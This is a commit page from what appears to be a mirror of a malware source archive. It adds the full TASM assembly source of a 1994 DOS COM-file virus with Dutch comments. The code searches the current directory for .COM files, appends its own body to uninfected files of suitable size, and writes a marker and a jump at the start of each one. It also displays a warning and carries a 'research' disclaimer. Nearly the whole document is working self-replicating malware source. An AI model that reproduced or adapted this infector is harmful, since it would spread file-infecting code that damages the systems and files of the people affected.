mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,146 @@
|
||||
; Com-infector ...
|
||||
|
||||
IDEAL ; Informatie voor de
|
||||
MODEL SMALL ; assembler (TASM)
|
||||
CODESEG ; om een COM file
|
||||
ORG 100h ; te genereren.
|
||||
|
||||
VX_LEN EQU ((NEW_BYTES + 2) - VX) ; Aantal bytes dat
|
||||
; dit virus groot is.
|
||||
FIRST:
|
||||
DB 0FBh ; Markering dat deze
|
||||
; file geinfecteerd
|
||||
; is.
|
||||
DB 0E9h ; Een 3-bytes ge-
|
||||
DW 00000h ; infecteerde file.
|
||||
|
||||
VX: CALL RELATIVE ; Zet die offset van
|
||||
RELATIVE: ; RELATIVE in BP,
|
||||
POP BP ; trekt daar de positie
|
||||
SUB BP,OFFSET RELATIVE ; van RELATIVE af in
|
||||
; de originele file
|
||||
; (deze file),
|
||||
; en zo kan de relative
|
||||
; positie van de data
|
||||
; in het geheugen
|
||||
; bepaalt worden.
|
||||
MOV AH,009h ; Laat waarschuwing
|
||||
LEA DX,[BP + MEDEDELING] ; zien.
|
||||
INT 021h ;
|
||||
LEA SI,[BP + OLD_BYTES] ; Plaatste de eerste 3
|
||||
MOV DI,0100h ; bytes van de ge-
|
||||
CLD ; infecteerde file
|
||||
MOVSW ; terug.
|
||||
MOVSW ;
|
||||
MOV AH,02Fh ; Bewaar de pointer
|
||||
INT 021h ; naar het DTA blok.
|
||||
MOV [WORD PTR CS:BP + OLD_DTA ],BX ;
|
||||
MOV [WORD PTR CS:BP + OLD_DTA + 2],ES ;
|
||||
MOV AH,01Ah ; Zet die pointer naar
|
||||
LEA DX,[BP + NEW_DTA] ; het DTA blok van dit
|
||||
INT 021h ; virus.
|
||||
|
||||
MOV AH,04Eh ; Zoek de eerste COM
|
||||
MOV CX,022h ; file in deze
|
||||
LEA DX,[BP + FILE_NAME] ; directory.
|
||||
JMP FIND ;
|
||||
|
||||
AGAIN: MOV AH,04Fh ; Volgende COM file.
|
||||
|
||||
FIND: INT 021h ; Zoek, en als er
|
||||
JC EXIT ; geen COM files meer
|
||||
; in deze directory
|
||||
; zijn, dan naar EXIT.
|
||||
MOV AX,03D02h ; Open de te infecteren
|
||||
LEA DX,[BP + NEW_DTA + 30] ; file, en plaats de
|
||||
INT 021h ; file handle in BX.
|
||||
MOV BX,AX ;
|
||||
MOV AH,03Fh ; Lees de eerste 4
|
||||
MOV CX,00004h ; bytes in.
|
||||
LEA DX,[BP + OLD_BYTES] ;
|
||||
MOV DI,DX ;
|
||||
INT 021h ;
|
||||
|
||||
CMP [BYTE PTR DI],0FBh ; Is de eerste byte FB
|
||||
JE AGAIN ; dan naar AGAIN.
|
||||
MOV AX,04202h ; Ga naar 't einde
|
||||
XOR CX,CX ; van de file.
|
||||
XOR DX,DX ;
|
||||
INT 021h ;
|
||||
|
||||
OR DX,DX ; Als de file grote is
|
||||
JNZ AGAIN ; dat een segment niet
|
||||
; infecteren, want dan
|
||||
; kan het geen COM
|
||||
; file zijn.
|
||||
; (Terug naar AGAIN)
|
||||
CMP AX,1024 ; Is de file kleiner
|
||||
JB AGAIN ; dan 1024, dan naar
|
||||
NOT_2_SMALL: ; AGAIN.
|
||||
|
||||
CMP AX,50000 ; Ook groter dan 50000
|
||||
JA AGAIN ; infecteren we niet.
|
||||
; (dan terug naar AGAIN)
|
||||
SUB AX,00004h ; Bereken waar die jump
|
||||
MOV [WORD PTR CS:BP + NEW_BYTES + 2],AX ; aan het begin van de
|
||||
; geinfecteerde file
|
||||
; heen moet springen.
|
||||
MOV AH,040h ; Append 't virus
|
||||
MOV CX,VX_LEN ; aan de file.
|
||||
LEA DX,[BP + VX] ;
|
||||
INT 021h ;
|
||||
|
||||
MOV AX,04200h ; Ga naar 't begin van
|
||||
XOR CX,CX ; de file.
|
||||
XOR DX,DX ;
|
||||
INT 021h ;
|
||||
MOV AH,040h ; Schrijf de markering
|
||||
MOV CX,00004h ; en de jump naar 't
|
||||
LEA DX,[BP + NEW_BYTES] ; virus aan 't begin
|
||||
INT 021h ; van de file.
|
||||
|
||||
MOV AH,03Eh ; Sluit de file.
|
||||
INT 021h ;
|
||||
JMP AGAIN ; Spring naar AGAIN.
|
||||
|
||||
EXIT:
|
||||
PUSH DS ; Save DS.
|
||||
MOV DX,[WORD PTR CS:BP + OLD_DTA ]
|
||||
MOV AX,[WORD PTR CS:BP + OLD_DTA + 2]
|
||||
MOV DS,AX
|
||||
MOV AH,01Ah
|
||||
INT 021h
|
||||
POP DS ; Restore DS.
|
||||
MOV SI,0100h ; Start de originele
|
||||
JMP SI ; file op.
|
||||
|
||||
; *** Data ***
|
||||
|
||||
Mededeling:
|
||||
|
||||
DB "This file contains a virus!!! Please COLD-boot from a write protected"
|
||||
DB 00Dh, 00Ah
|
||||
DB "system disk and use you anti virus software!!!$"
|
||||
|
||||
Disclaimer:
|
||||
|
||||
DB "Dit virus is ter RESEARCH en STUDIE geschreven!! "
|
||||
DB "Misbruik hiervan is strafbaar onder de Nederlandse wet!! "
|
||||
|
||||
Auteur:
|
||||
|
||||
DB "(C) 1994 - [DàRkRàY] retired virus writer..."
|
||||
|
||||
OLD_BYTES: NOP
|
||||
NOP
|
||||
NOP
|
||||
RET
|
||||
|
||||
FILE_NAME: DB "*.COM",0h
|
||||
|
||||
NEW_BYTES DB 0FBh, 0E9h, ?, ?
|
||||
|
||||
OLD_DTA DW ?, ?
|
||||
NEW_DTA DW 34 DUP(?)
|
||||
|
||||
END FIRST
|
||||
Reference in New Issue
Block a user